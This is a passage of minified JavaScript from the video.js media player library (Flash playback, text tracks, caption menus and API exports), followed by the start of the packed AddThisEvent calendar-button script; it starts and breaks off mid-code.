"),t.g.Gb=function(e){if(e){for(e.player=k,e.parentNode&&e.parentNode.removeChild(e);e.hasChildNodes();)e.removeChild(e.firstChild);if(e.removeAttribute("src"),"function"==typeof e.load)try{e.load()}catch(t){}}},t.f=t.p.extend({i:function(e,n,i){t.p.call(this,e,n,i);var r=n.source;i=n.parentEl;var o=this.b=t.e("div",{id:e.id()+"_temp_flash"}),a=e.id()+"_flash_api",s=e.m,c=(s=t.h.z({readyFunction:"videojs.Flash.onReady",eventProxyFunction:"videojs.Flash.onEvent",errorEventProxyFunction:"videojs.Flash.onError",autoplay:s.autoplay,preload:s.Ha,loop:s.loop,muted:s.muted},n.flashVars),t.h.z({wmode:"opaque",bgcolor:"#000000"},n.params));a=t.h.z({id:a,name:a,"class":"vjs-tech"},n.attributes);r&&this.H(function(){this.Ja(r)}),t.Nb(o,i),n.startTime&&this.H(function(){this.load(),this.play(),this.currentTime(n.startTime)}),t.jd&&this.H(function(){this.c("mousemove",function(){this.j().l({type:"mousemove",bubbles:l})})}),e.c("stageclick",e.reportUserActivity),this.b=t.f.zc(n.swf,o,s,c,a)}}),s=t.f.prototype,s.dispose=function(){t.p.prototype.dispose.call(this)},s.play=function(){this.b.vjs_play()},s.pause=function(){this.b.vjs_pause()},s.src=function(e){return e===b?this.currentSrc():this.ga(e)},s.ga=function(e){if(e=t.Jd(e),this.b.vjs_src(e),this.d.autoplay()){var n=this;this.setTimeout(function(){n.play()},0)}},t.f.prototype.setCurrentTime=function(e){this.Ud=e,this.b.vjs_setProperty("currentTime",e),t.p.prototype.Wb.call(this)},t.f.prototype.currentTime=function(){return this.seeking()?this.Ud||0:this.b.vjs_getProperty("currentTime")},t.f.prototype.currentSrc=function(){return this.vc?this.vc.src:this.b.vjs_getProperty("currentSrc")},t.f.prototype.load=function(){this.b.vjs_load()},t.f.prototype.poster=function(){this.b.vjs_getProperty("poster")},t.f.prototype.setPoster=m(),t.f.prototype.buffered=function(){return t.Eb(0,this.b.vjs_getProperty("buffered"))},t.f.prototype.Ka=r(l),t.f.prototype.Ac=r(l);var ka=t.f.prototype,W="rtmpConnection rtmpStream preload defaultPlaybackRate playbackRate autoplay loop mediaGroup controller controls volume muted defaultMuted".split(" "),ma="error networkState readyState seeking initialTime duration startOffsetTime paused played seekable ended videoTracks audioTracks videoWidth videoHeight textTracks".split(" "),X;for(X=0;X<W.length;X++)la(W[X]),ia();for(X=0;X<ma.length;X++)la(ma[X]);if(t.f.isSupported=function(){return 10<=t.f.version()[0]},t.p.$b(t.f),t.f.V={},t.f.V.Wa=function(e){return e.type&&e.type.replace(/;.*/,"").toLowerCase()in t.f.Id?"maybe":""},t.f.V.Mb=function(e,t){t.ga(e.src)},t.f.V.dispose=m(),t.f.Ia(t.f.V),t.f.Id={"video/flv":"FLV","video/x-flv":"FLV","video/mp4":"MP4","video/m4v":"MP4"},t.f.onReady=function(e){var n;(n=(e=t.w(e))&&e.parentNode&&e.parentNode.player)&&(e.player=n,t.f.checkReady(n.o))},t.f.checkReady=function(e){e.w()&&(e.w().vjs_getProperty?e.Na():this.setTimeout(function(){t.f.checkReady(e)},50))},t.f.onEvent=function(e,n){t.w(e).player.l(n)},t.f.onError=function(e,n){var i=t.w(e).player,r="FLASH: "+n;"srcnotfound"==n?i.error({code:4,message:r}):i.error(r)},t.f.version=function(){var e="0,0,0";try{e=new window.ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version").replace(/\D+/g,",").match(/^,?(.+),?$/)[1]}catch(t){try{navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin&&(e=(navigator.plugins["Shockwave Flash 2.0"]||navigator.plugins["Shockwave Flash"]).description.replace(/\D+/g,",").match(/^,?(.+),?$/)[1])}catch(n){}}return e.split(",")},t.f.zc=function(e,n,i,r,o){e=t.f.Ld(e,i,r,o),e=t.e("div",{innerHTML:e}).childNodes[0],i=n.parentNode,n.parentNode.replaceChild(e,n);var a=i.childNodes[0];return setTimeout(function(){a.style.display="block"},1e3),e},t.f.Ld=function(e,n,i,r){var o="",a="",s="";return n&&t.h.Y(n,function(e,t){o+=e+"="+t+"&"}),i=t.h.z({movie:e,flashvars:o,allowScriptAccess:"always",allowNetworking:"all"},i),t.h.Y(i,function(e,t){a+='<param name="'+e+'" value="'+t+'" />'}),r=t.h.z({data:e,width:"100%",height:"100%"},r),t.h.Y(r,function(e,t){s+=e+'="'+t+'" '}),'<object type="application/x-shockwave-flash" '+s+">"+a+"</object>"},t.f.qe={"rtmp/mp4":"MP4","rtmp/flv":"FLV"},t.f.Je=function(e,t){return e+"&"+t},t.f.pe=function(e){var t={tc:"",$c:""};if(!e)return t;var n,i=e.indexOf("&");return-1!==i?n=i+1:0===(i=n=e.lastIndexOf("/")+1)&&(i=n=e.length),t.tc=e.substring(0,i),t.$c=e.substring(n,e.length),t},t.f.Rd=function(e){return e in t.f.qe},t.f.qd=/^rtmp[set]?:\/\//i,t.f.Qd=function(e){return t.f.qd.test(e)},t.f.Vb={},t.f.Vb.Wa=function(e){return t.f.Rd(e.type)||t.f.Qd(e.src)?"maybe":""},t.f.Vb.Mb=function(e,n){var i=t.f.pe(e.src);n.setRtmpConnection(i.tc),n.setRtmpStream(i.$c)},t.f.Ia(t.f.Vb),t.pd=t.a.extend({i:function(e,n,i){if(t.a.call(this,e,n,i),e.m.sources&&0!==e.m.sources.length)e.src(e.m.sources);else for(n=0,i=e.m.techOrder;n<i.length;n++){var r=t.ba(i[n]),o=window.videojs[r];if(o&&o.isSupported()){Q(e,r);break}}}}),t.Player.prototype.textTracks=function(){return this.Ma=this.Ma||[]},t.B=t.a.extend({i:function(e,n){t.a.call(this,e,n),this.K=n.id||"vjs_"+n.kind+"_"+n.language+"_"+t.q++,this.Xc=n.src,this.Cd=n["default"]||n.dflt,this.ue=n.title,this.bb=n.srclang,this.Sd=n.label,this.ca=[],this.Ab=[],this.qa=this.sa=0,e.c("dispose",t.bind(this,this.yc,this.K))}}),s=t.B.prototype,s.M=n("G"),s.src=n("Xc"),s.Fb=n("Cd"),s.title=n("ue"),s.language=n("bb"),s.label=n("Sd"),s.yd=n("ca"),s.rd=n("Ab"),s.readyState=n("sa"),s.mode=n("qa"),s.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-"+this.G+" vjs-text-track"})},s.show=function(){oa(this),this.qa=2,t.a.prototype.show.call(this)},s.Z=function(){oa(this),this.qa=1,t.a.prototype.Z.call(this)},s.disable=function(){2==this.qa&&this.Z(),this.yc(),this.qa=0},s.yc=function(){this.d.k("timeupdate",t.bind(this,this.update,this.K)),this.d.k("ended",t.bind(this,this.reset,this.K)),this.reset(),this.d.na("textTrackDisplay").removeChild(this)},s.load=function(){0===this.sa&&(this.sa=1,t.ye(this.Xc,t.bind(this,function(e,n,i){if(e)this.error=e,this.sa=3,this.l("error");else{var r,o;e=i.split("\n"),n="",i=1;for(var a=e.length;i<a;i++)if(n=t.trim(e[i])){for(-1==n.indexOf("-->")?(r=n,n=t.trim(e[++i])):r=this.ca.length,r={id:r,index:this.ca.length},o=n.split(/[\t ]+/),r.startTime=pa(o[0]),r.Ca=pa(o[2]),o=[];e[++i]&&(n=t.trim(e[i]));)o.push(n);r.text=o.join("<br/>"),this.ca.push(r)}this.sa=2,this.l("loaded")}})))},s.update=function(){if(0<this.ca.length){var e=this.d.options().trackTimeOffset||0;e=this.d.currentTime()+e;if(this.Ub===b||e<this.Ub||this.cb<=e){var t,n,i,r,o=this.ca,a=this.d.duration(),s=0,c=l,u=[];for(e>=this.cb||this.cb===b?r=this.Jb!==b?this.Jb:0:(c=f,r=this.Qb!==b?this.Qb:o.length-1);;){if((i=o[r]).Ca<=e)s=Math.max(s,i.Ca),i.Ua&&(i.Ua=l);else if(e<i.startTime){if(a=Math.min(a,i.startTime),i.Ua&&(i.Ua=l),!c)break}else c?(u.splice(0,0,i),n===b&&(n=r),t=r):(u.push(i),t===b&&(t=r),n=r),a=Math.min(a,i.Ca),s=Math.max(s,i.startTime),i.Ua=f;if(c){if(0===r)break;r--}else{if(r===o.length-1)break;r++}}for(this.Ab=u,this.cb=a,this.Ub=s,this.Jb=t,this.Qb=n,n="",e=0,o=(t=this.Ab).length;e<o;e++)n+='<span class="vjs-tt-cue">'+t[e].text+"</span>";this.b.innerHTML=n,this.l("cuechange")}}},s.reset=function(){this.cb=0,this.Ub=this.d.duration(),this.Qb=this.Jb=0},t.cc=t.B.extend(),t.cc.prototype.G="captions",t.lc=t.B.extend(),t.lc.prototype.G="subtitles",t.dc=t.B.extend(),t.dc.prototype.G="chapters",t.mc=t.a.extend({i:function(e,n,i){if(t.a.call(this,e,n,i),e.m.tracks&&0<e.m.tracks.length){n=this.d,e=e.m.tracks;for(var r=0;r<e.length;r++)na(n,(i=e[r]).kind,i.label,i.language,i)}}}),t.mc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-text-track-display"})},t.aa=t.J.extend({i:function(e,n){var i=this.ha=n.track;n.label=i.label(),n.selected=i.Fb(),t.J.call(this,e,n),this.c(e,i.M()+"trackchange",this.update)}}),t.aa.prototype.s=function(){t.J.prototype.s.call(this),Y(this.d,this.ha.K,this.ha.M())},t.aa.prototype.update=function(){this.selected(2==this.ha.mode())},t.sb=t.aa.extend({i:function(e,n){n.track={M:function(){return n.kind},j:e,label:function(){return n.kind+" off"},Fb:r(l),mode:r(l)},t.aa.call(this,e,n),this.selected(f)}}),t.sb.prototype.s=function(){t.aa.prototype.s.call(this),Y(this.d,this.ha.K,this.ha.M())},t.sb.prototype.update=function(){for(var e,t=this.d.textTracks(),n=0,i=t.length,r=f;n<i;n++)(e=t[n]).M()==this.ha.M()&&2==e.mode()&&(r=l);this.selected(r)},t.T=t.L.extend({i:function(e,n){t.L.call(this,e,n),1>=this.P.length&&this.Z()}}),t.T.prototype.za=function(){var e,n=[];n.push(new t.sb(this.d,{kind:this.G}));for(var i=0;i<this.d.textTracks().length;i++)(e=this.d.textTracks()[i]).M()===this.G&&n.push(new t.aa(this.d,{track:e}));return n},t.Oa=t.T.extend({i:function(e,n,i){t.T.call(this,e,n,i),this.b.setAttribute("aria-label","Captions Menu")}}),t.Oa.prototype.G="captions",t.Oa.prototype.la="Captions",t.Oa.prototype.className="vjs-captions-button",t.Ta=t.T.extend({i:function(e,n,i){t.T.call(this,e,n,i),this.b.setAttribute("aria-label","Subtitles Menu")}}),t.Ta.prototype.G="subtitles",t.Ta.prototype.la="Subtitles",t.Ta.prototype.className="vjs-subtitles-button",t.Pa=t.T.extend({i:function(e,n,i){t.T.call(this,e,n,i),this.b.setAttribute("aria-label","Chapters Menu")}}),s=t.Pa.prototype,s.G="chapters",s.la="Chapters",s.className="vjs-chapters-button",s.za=function(){for(var e,n=[],i=0;i<this.d.textTracks().length;i++)(e=this.d.textTracks()[i]).M()===this.G&&n.push(new t.aa(this.d,{track:e}));return n},s.Aa=function(){for(var e,n,i=this.d.textTracks(),r=0,o=i.length,a=this.P=[];r<o;r++)if((e=i[r]).M()==this.G){if(0!==e.readyState()){n=e;break}e.load(),e.c("loaded",t.bind(this,this.Aa))}if((i=this.Fa)===b&&(i=new t.ja(this.d)).ma().appendChild(t.e("li",{className:"vjs-menu-title",innerHTML:t.ba(this.G),re:-1})),n){var s;for(r=0,o=(e=n.ca).length;r<o;r++)s=e[r],s=new t.mb(this.d,{track:n,cue:s}),a.push(s),i.U(s);this.U(i)}return 0<this.P.length&&this.show(),i},t.mb=t.J.extend({i:function(e,n){var i=this.ha=n.track,r=this.cue=n.cue,o=e.currentTime();n.label=r.text,n.selected=r.startTime<=o&&o<r.Ca,t.J.call(this,e,n),i.c("cuechange",t.bind(this,this.update))}}),t.mb.prototype.s=function(){t.J.prototype.s.call(this),this.d.currentTime(this.cue.startTime),this.update(this.cue.startTime)},t.mb.prototype.update=function(){var e=this.cue,t=this.d.currentTime();this.selected(e.startTime<=t&&t<e.Ca)},t.h.z(t.Qa.prototype.m.children,{subtitlesButton:{},captionsButton:{},chaptersButton:{}}),"undefined"!=typeof window.JSON&&"function"==typeof window.JSON.parse)t.JSON=window.JSON;else{t.JSON={};var Z=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;t.JSON.parse=function(a,c){function d(e,t){var n,i,r=e[t];if(r&&"object"==typeof r)for(n in r)Object.prototype.hasOwnProperty.call(r,n)&&((i=d(r,n))!==b?r[n]=i:delete r[n]);return c.call(e,t,r)}var e;if(a=String(a),Z.lastIndex=0,Z.test(a)&&(a=a.replace(Z,function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})),/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return e=eval("("+a+")"),"function"==typeof c?d({"":e},""):e;throw new SyntaxError("JSON.parse(): invalid or malformed JSON data")}}t.qc=function(){var e,n,i,r;e=document.getElementsByTagName("video"),n=document.getElementsByTagName("audio");var o=[];if(e&&0<e.length)for(i=0,r=e.length;i<r;i++)o.push(e[i]);if(n&&0<n.length)for(i=0,r=n.length;i<r;i++)o.push(n[i]);if(o&&0<o.length)for(i=0,r=o.length;i<r;i++){if(!(n=o[i])||!n.getAttribute){t.Bb();break}n.player===b&&((e=n.getAttribute("data-setup"))!==k&&videojs(n))}else t.dd||t.Bb()},t.Bb=function(){setTimeout(t.qc,1)},"complete"===document.readyState?t.dd=f:t.Q(window,"load",function(){t.dd=f}),t.Bb(),t.ge=function(e,n){t.Player.prototype[e]=n};var qa=this;$("videojs",t),$("_V_",t),$("videojs.options",t.options),$("videojs.players",t.Ga),$("videojs.TOUCH_ENABLED",t.wb),$("videojs.cache",t.ya),$("videojs.Component",t.a),t.a.prototype.player=t.a.prototype.j,t.a.prototype.options=t.a.prototype.options,t.a.prototype.init=t.a.prototype.i,t.a.prototype.dispose=t.a.prototype.dispose,t.a.prototype.createEl=t.a.prototype.e,t.a.prototype.contentEl=t.a.prototype.ma,t.a.prototype.el=t.a.prototype.w,t.a.prototype.addChild=t.a.prototype.U,t.a.prototype.getChild=t.a.prototype.na,t.a.prototype.getChildById=t.a.prototype.Kd,t.a.prototype.children=t.a.prototype.children,t.a.prototype.initChildren=t.a.prototype.Gc,t.a.prototype.removeChild=t.a.prototype.removeChild,t.a.prototype.on=t.a.prototype.c,t.a.prototype.off=t.a.prototype.k,t.a.prototype.one=t.a.prototype.Q,t.a.prototype.trigger=t.a.prototype.l, t.a.prototype.triggerReady=t.a.prototype.Na,t.a.prototype.show=t.a.prototype.show,t.a.prototype.hide=t.a.prototype.Z,t.a.prototype.width=t.a.prototype.width,t.a.prototype.height=t.a.prototype.height,t.a.prototype.dimensions=t.a.prototype.Dd,t.a.prototype.ready=t.a.prototype.H,t.a.prototype.addClass=t.a.prototype.n,t.a.prototype.removeClass=t.a.prototype.r,t.a.prototype.buildCSSClass=t.a.prototype.S,t.a.prototype.localize=t.a.prototype.t,t.a.prototype.setInterval=t.a.prototype.setInterval,t.a.prototype.setTimeout=t.a.prototype.setTimeout,t.Player.prototype.ended=t.Player.prototype.ended,t.Player.prototype.enterFullWindow=t.Player.prototype.Bc,t.Player.prototype.exitFullWindow=t.Player.prototype.Hb,t.Player.prototype.preload=t.Player.prototype.Ha,t.Player.prototype.remainingTime=t.Player.prototype.remainingTime,t.Player.prototype.supportsFullScreen=t.Player.prototype.Ka,t.Player.prototype.currentType=t.Player.prototype.zd,t.Player.prototype.requestFullScreen=t.Player.prototype.requestFullScreen,t.Player.prototype.requestFullscreen=t.Player.prototype.requestFullscreen,t.Player.prototype.cancelFullScreen=t.Player.prototype.cancelFullScreen,t.Player.prototype.exitFullscreen=t.Player.prototype.exitFullscreen,t.Player.prototype.isFullScreen=t.Player.prototype.isFullScreen,t.Player.prototype.isFullscreen=t.Player.prototype.isFullscreen,$("videojs.MediaLoader",t.pd),$("videojs.TextTrackDisplay",t.mc),$("videojs.ControlBar",t.Qa),$("videojs.Button",t.u),$("videojs.PlayToggle",t.hc),$("videojs.FullscreenToggle",t.Ra),$("videojs.BigPlayButton",t.lb),$("videojs.LoadingSpinner",t.fc),$("videojs.CurrentTimeDisplay",t.nb),$("videojs.DurationDisplay",t.ob),$("videojs.TimeDivider",t.nc),$("videojs.RemainingTimeDisplay",t.vb),$("videojs.LiveDisplay",t.ec),$("videojs.ErrorDisplay",t.pb),$("videojs.Slider",t.R),$("videojs.ProgressControl",t.ub),$("videojs.SeekBar",t.kc),$("videojs.LoadProgressBar",t.rb),$("videojs.PlayProgressBar",t.gc),$("videojs.SeekHandle",t.Sa),$("videojs.VolumeControl",t.yb),$("videojs.VolumeBar",t.xb),$("videojs.VolumeLevel",t.oc),$("videojs.VolumeMenuButton",t.wa),$("videojs.VolumeHandle",t.zb),$("videojs.MuteToggle",t.ka),$("videojs.PosterImage",t.jc),$("videojs.Menu",t.ja),$("videojs.MenuItem",t.J),$("videojs.MenuButton",t.L),$("videojs.PlaybackRateMenuButton",t.ic),t.L.prototype.createItems=t.L.prototype.za,t.T.prototype.createItems=t.T.prototype.za,t.Pa.prototype.createItems=t.Pa.prototype.za,$("videojs.SubtitlesButton",t.Ta),$("videojs.CaptionsButton",t.Oa),$("videojs.ChaptersButton",t.Pa),$("videojs.MediaTechController",t.p),t.p.withSourceHandlers=t.p.$b,t.p.prototype.featuresVolumeControl=t.p.prototype.Ge,t.p.prototype.featuresFullscreenResize=t.p.prototype.Ce,t.p.prototype.featuresPlaybackRate=t.p.prototype.De,t.p.prototype.featuresProgressEvents=t.p.prototype.Ee,t.p.prototype.featuresTimeupdateEvents=t.p.prototype.Fe,t.p.prototype.setPoster=t.p.prototype.Vc,$("videojs.Html5",t.g),t.g.Events=t.g.qb,t.g.isSupported=t.g.isSupported,t.g.canPlaySource=t.g.rc,t.g.patchCanPlayType=t.g.Nc,t.g.unpatchCanPlayType=t.g.we,t.g.prototype.setCurrentTime=t.g.prototype.Wb,t.g.prototype.setVolume=t.g.prototype.oe,t.g.prototype.setMuted=t.g.prototype.le,t.g.prototype.setPreload=t.g.prototype.ne,t.g.prototype.setAutoplay=t.g.prototype.ie,t.g.prototype.setLoop=t.g.prototype.ke,t.g.prototype.enterFullScreen=t.g.prototype.Ac,t.g.prototype.exitFullScreen=t.g.prototype.Gd,t.g.prototype.playbackRate=t.g.prototype.playbackRate,t.g.prototype.setPlaybackRate=t.g.prototype.me,t.g.registerSourceHandler=t.g.Ia,t.g.selectSourceHandler=t.g.jb,t.g.prototype.setSource=t.g.prototype.Ja,t.g.prototype.disposeSourceHandler=t.g.prototype.Ba,$("videojs.Flash",t.f),t.f.isSupported=t.f.isSupported,t.f.canPlaySource=t.f.rc,t.f.onReady=t.f.onReady,t.f.embed=t.f.zc,t.f.version=t.f.version,t.f.prototype.setSource=t.f.prototype.Ja,t.f.registerSourceHandler=t.f.Ia,t.f.selectSourceHandler=t.f.jb,t.f.prototype.setSource=t.f.prototype.Ja,t.f.prototype.disposeSourceHandler=t.f.prototype.Ba,$("videojs.TextTrack",t.B),t.B.prototype.label=t.B.prototype.label,t.B.prototype.kind=t.B.prototype.M,t.B.prototype.mode=t.B.prototype.mode,t.B.prototype.cues=t.B.prototype.yd,t.B.prototype.activeCues=t.B.prototype.rd,$("videojs.CaptionsTrack",t.cc),$("videojs.SubtitlesTrack",t.lc),$("videojs.ChaptersTrack",t.dc),$("videojs.autoSetup",t.qc),$("videojs.plugin",t.ge),$("videojs.createTimeRange",t.Eb),$("videojs.util",t.W),t.W.mergeOptions=t.W.pa,t.addLanguage=t.sd}(), /* AddThisEvent v1.5.8 <http://addthisevent.com> Copyright (c) 2012-2015 Michael Nilsson */ eval(function(e,t,n,i,r,o){if(r=function(e){return(e<t?"":r(parseInt(e/t)))+((e%=t)>35?String.fromCharCode(e+29):e.toString(36))},!"".replace(/^/,String)){for(;n--;)o[r(n)]=i[n]||r(n);i=[function(e){return o[e]}],r=function(){return"\\w+"},n=1}for(;n--;)i[n]&&(e=e.replace(new RegExp("\\b"+r(n)+"\\b","g"),i[n]));return e}("E $d(d){19 8.3M(d)}7 1f=2Z.6Q;6(1f!='6M:'){1f='6K:'}7 2r=1f+'//5.1h/3Y/4f-36-4x.3D';7 2S='';7 2Q=M;7 2k='P';7 1P='';7 1D='';7 2b='6J 2d';7 2a='6I 2d';7 29='6G 2d';7 2A='6z 2d';7 2u='6u 2d';7 2i='6o 6n';7 2O=P;7 2N=P;7 2L=P;7 2K=P;7 2J=P;7 2I=P;7 2H=M;7 3g=M;7 2F=M;7 5=E(){7 D=M,U=1,2t='',3h,3i=M,3k=M;19{1E:E(){1w{2r=2r}1z(e){2r=1f+'//5.1h/3Y/4f-36-4x.3D'}1w{2S=6m}1z(e){}1w{2Q=6l}1z(e){}1w{2k=6k}1z(e){}7 b=5.4j(2S);7 c=8.1Z('*');1G(7 d=0;d<c.1p;d+=1){7 f='',2p=M,6j=c[d].W,14='';6(5.Q(c[d],'5')){7 g=c[d].1Z('K');1G(7 m=0;m<g.1p;m+=1){6(5.Q(g[m],'3A')){g[m].J.L='F'}6(5.Q(g[m],'3z')){g[m].J.L='F';f+='&6g='+X(5.13(g[m].T))}6(5.Q(g[m],'3w')){g[m].J.L='F';f+='&6b='+X(5.13(g[m].T))}6(5.Q(g[m],'3v')){g[m].J.L='F';f+='&6a='+X(5.13(g[m].T))}6(5.Q(g[m],'3u')){g[m].J.L='F';f+='&69='+X(5.13(g[m].T))}6(5.Q(g[m],'3t')){g[m].J.L='F';f+='&66='+X(5.13(g[m].T))}6(5.Q(g[m],'3s')){g[m].J.L='F';f+='&65='+X(5.13(g[m].T))}6(5.Q(g[m],'3r')){g[m].J.L='F';f+='&64='+X(5.13(g[m].T))}6(5.Q(g[m],'3q')){g[m].J.L='F';f+='&63='+X(5.13(g[m].T))}6(5.Q(g[m],'46')){g[m].J.L='F';f+='&62='+X(5.13(g[m].T))}6(5.Q(g[m],'3p')){g[m].J.L='F';f+='&61='+X(5.13(g[m].T))}6(5.Q(g[m],'5X')){g[m].J.L='F';f+='&5W='+X(5.13(g[m].T))}6(5.Q(g[m],'5U')){g[m].J.L='F';f+='&5T='+X(5.13(g[m].T))}6(5.Q(g[m],'5Q')){g[m].J.L='F';f+='&5P='+X(5.13(g[m].T))}6(5.Q(g[m],'5I')){g[m].J.L='F';f+='&5H='+X(5.13(g[m].T))}6(5.Q(g[m],'3l')){6(g[m].T!=''){g[m].J.L='F';7 h=g[m].T.1l(/ /1u,\"\");f+='&2p='+X(h);2p=P}}}6(b){f+='&5G=M'}f=f.1l(/'/1u,\"\xb4\");6(1D!=''){1D=1D+',';1D=1D.1l(/ /1u,'');7 i=1D.31(',');1G(7 a=0;a<i.1p;a+=1){6(2O&&i[a]=='1i'){14+='<K 1a=\"3R\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1i\\',\\''+f+'\\');\">'+2b+'</K>'}6(2N&&i[a]=='1n'){14+='<K 1a=\"43\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1n\\',\\''+f+'\\');\">'+2a+'</K>'}6(2L&&i[a]=='1m'){14+='<K 1a=\"45\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1m\\',\\''+f+'\\');\">'+29+'</K>'}6(2K&&i[a]=='1q'){14+='<K 1a=\"47\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1q\\',\\''+f+'\\');\">'+2A+'</K>'}6(2J&&i[a]=='1o'){14+='<K 1a=\"4b\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1o\\',\\''+f+'\\');\">'+2u+'</K>'}6(2p&&i[a]=='1j'){6(2I&&i[a]=='1j'){14+='<K 1a=\"5F\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1j\\',\\''+f+'\\');\">'+2i+'</K>'}}}}H{6(2O){14+='<K 1a=\"3R\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1i\\',\\''+f+'\\');\">'+2b+'</K>'}6(2N){14+='<K 1a=\"43\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1n\\',\\''+f+'\\');\">'+2a+'</K>'}6(2L){14+='<K 1a=\"45\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1m\\',\\''+f+'\\');\">'+29+'</K>'}6(2K){14+='<K 1a=\"47\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1q\\',\\''+f+'\\');\">'+2A+'</K>'}6(2J){14+='<K 1a=\"4b\" R-O=\"'+U+'\" V=\"5.11(Y,\\'1o\\',\\''+f+'\\');\">'+2u+'</K>'}6(2p){6(2I){14+='<K R-O=\"'+U+'\" V=\"5.11(Y,\\'1j\\',\\''+f+'\\');\">'+2i+'</K>'}}}6(!b){14+='<1R 1a=\"4h\"><1R 1a=\"4i\"></1R><1R 1a=\"3e\" R-O=\"'+U+'\" V=\"5.11(Y,\\'3d\\');\">5D</1R></1R>'}c[d].2n='3b'+U;c[d].W=c[d].W.1l(/5/1u,'');c[d].W=c[d].W+' 5-G';c[d].5A='';7 j=c[d].28('R-2C');6(j){c[d].3E('R-2D',f);c[d].3E('R-O',U);c[d].V=E(){5.2C(Y);19 M}}H{6(2Q){c[d].5z=E(){5y(3h);5.12(Y,'1T','1T',P)};c[d].5x=E(){3h=1W(\"5.3P();\",5w)};c[d].V=E(){19 M}}H{c[d].V=E(){5.12(Y,'1T','1T');19 M}}}7 k=c[d];7 l=8.2h('K');l.2n='3b'+U+'-G';l.W='1y';l.T=14;k.1L(l);U++;3g=P}}6(2k=='M'){5.2l()}H{5.41(b)}6(3g&&!2F){2F=P;5.22({2T:'5v',2V:''})}},2C:E(f){7 a=f.28('R-2D');7 b=f.28('R-2C');5.11(f,b,a)},11:E(f,a,b){7 c='',O=2Z.2W,2x=P,5u=2q 38();6(a=='1i'){c=1f+'//5.1h/25/?1M=5t'+b+'&1O='+O;2x=M}6(a=='1n'){c=1f+'//5.1h/25/?1M=5s'+b+'&1O='+O}6(a=='1m'){c=1f+'//5.1h/25/?1M=5r'+b+'&1O='+O}6(a=='1q'){c=1f+'//5.1h/25/?1M=5q'+b+'&1O='+O}6(a=='1o'){c=1f+'//5.1h/25/?1M=5p'+b+'&1O='+O;2x=M}6(a=='1j'){c=1f+'//5.1h/25/?1M=5o'+b+'&1O='+O}6(a=='3d'){c=1f+'//5.1h/'}6(c!=''){6(a!='3d'){7 d=f.28('R-O');7 g=$d('3b'+d);6(g){7 h=g.28('R-22');6(h!=4l){h=h.1l(/5n-36/1u,a);1w{4n(h)}1z(e){}}}}6(!$d('2E')){7 j=8.2h(\"a\");j.2n='2E';j.5m='5l';j.T='{5-5k-5j}';j.J.L='F';8.1F.1L(j)}7 k=$d('2E');6(2x){k.4u='5i'}H{k.4u='5h'}k.2W=c;5.4w('2E')}5.22({2T:'2g',2V:a});6(1P){1G(7 i=0;i<1P.1p;i++){1w{4n(1P[i])}1z(e){5g(e.5f)}}}},41:E(a){6(!3k){7 b;b='.5-G {L:5e-1U;1V:3C;1t-5d:5c;1A:#5b!1H;1B:#3J 2D('+2r+') 71-5a 2o 50%;N-21:F!1H;Z:S 1s #58;1A:#3T;1t-3j:3V;1t-2v:3X;N-21:F;2w:2o 34 40 57;-1Y-Z-26:1C;-1J-Z-26:1C;-1J-56-53:F;-1J-2s-27:F;-52-2s-27:F;-1Y-2s-27:F;-4Y-2s-27:F;2s-27:F;}';b+='.5-G:39 {Z:S 1s #4X;1A:#3T;1t-3j:3V;1t-2v:3X;N-21:F!1H;}';b+='.5-G:4W {1x:S;}';b+='.5-3c {1B-1A:#4V;}';6(a){b+='.1y {2X:3f;1V:2G;z-2j:33;2w:1d 1d 1d 1d;1B:#2M;N-3m:1e;L:F;2U-1x:-1C;2U-1e:-S;Z-1x:S 1s #4q;Z-1I:S 1s #2P;Z-4r:S 1s #4s;Z-1e:S 1s #2P;-1Y-Z-26:1C;-1J-Z-26:1C;-1J-1Q-1N:S 23 1K 1S(0,0,0,0.15);-1Y-1Q-1N:S 23 1K 1S(0,0,0,0.15);1Q-1N:S 23 1K 1S(0,0,0,0.15);}'}H{b+='.1y {2X:3f;1V:2G;z-2j:33;2w:1K 1d 1d 1d;1B:#2M;N-3m:1e;L:F;2U-1x:-1C;2U-1e:-S;Z-1x:S 1s #4q;Z-1I:S 1s #2P;Z-4r:S 1s #4s;Z-1e:S 1s #2P;-1Y-Z-26:1C;-1J-Z-26:1C;-1J-1Q-1N:S 23 1K 1S(0,0,0,0.15);-1Y-1Q-1N:S 23 1K 1S(0,0,0,0.15);1Q-1N:S 23 1K 1S(0,0,0,0.15);}'}b+='.1y K {L:1U;3x:4z;4A-2R:4C%;1B:#2M;N-21:F;1t-2v:34;1A:#4D;2w:40 2z 2o 4U;}';b+='.1y K:39 {1B:#3J;1A:#4D;N-21:F;1t-2v:34;}';b+='.5 K {L:F!1H;}';b+='.5-G .3A,.5-G .3z,.5-G .3w,.5-G .3v,.5-G .3u,.5-G .3t,.5-G .3s,.5-G .3r,.5-G .3q,.5-G .3l,.5-G .3p {L:F!1H;}';b+='.1y .4h {2X:3f;2R:4T;L:1U;1V:3C;3x:4S;}';b+='.1y .4i {2X:4O;2R:S;4L:4J;1B:#5V;1V:2G;z-2j:4M;1e:2z;1x:2o;}';b+='.1y .3e {1V:2G;1x:4N;3x:4z;1I:2z;2w-1e:2z;1t-J:4I;1t-3j:4I;N-3m:1I;z-2j:4P;4A-2R:4C%;1B:#2M;N-21:F;1t-2v:2o;1A:#4Q;}';b+='.1y .3e:39 {1A:#4R!1H;}';7 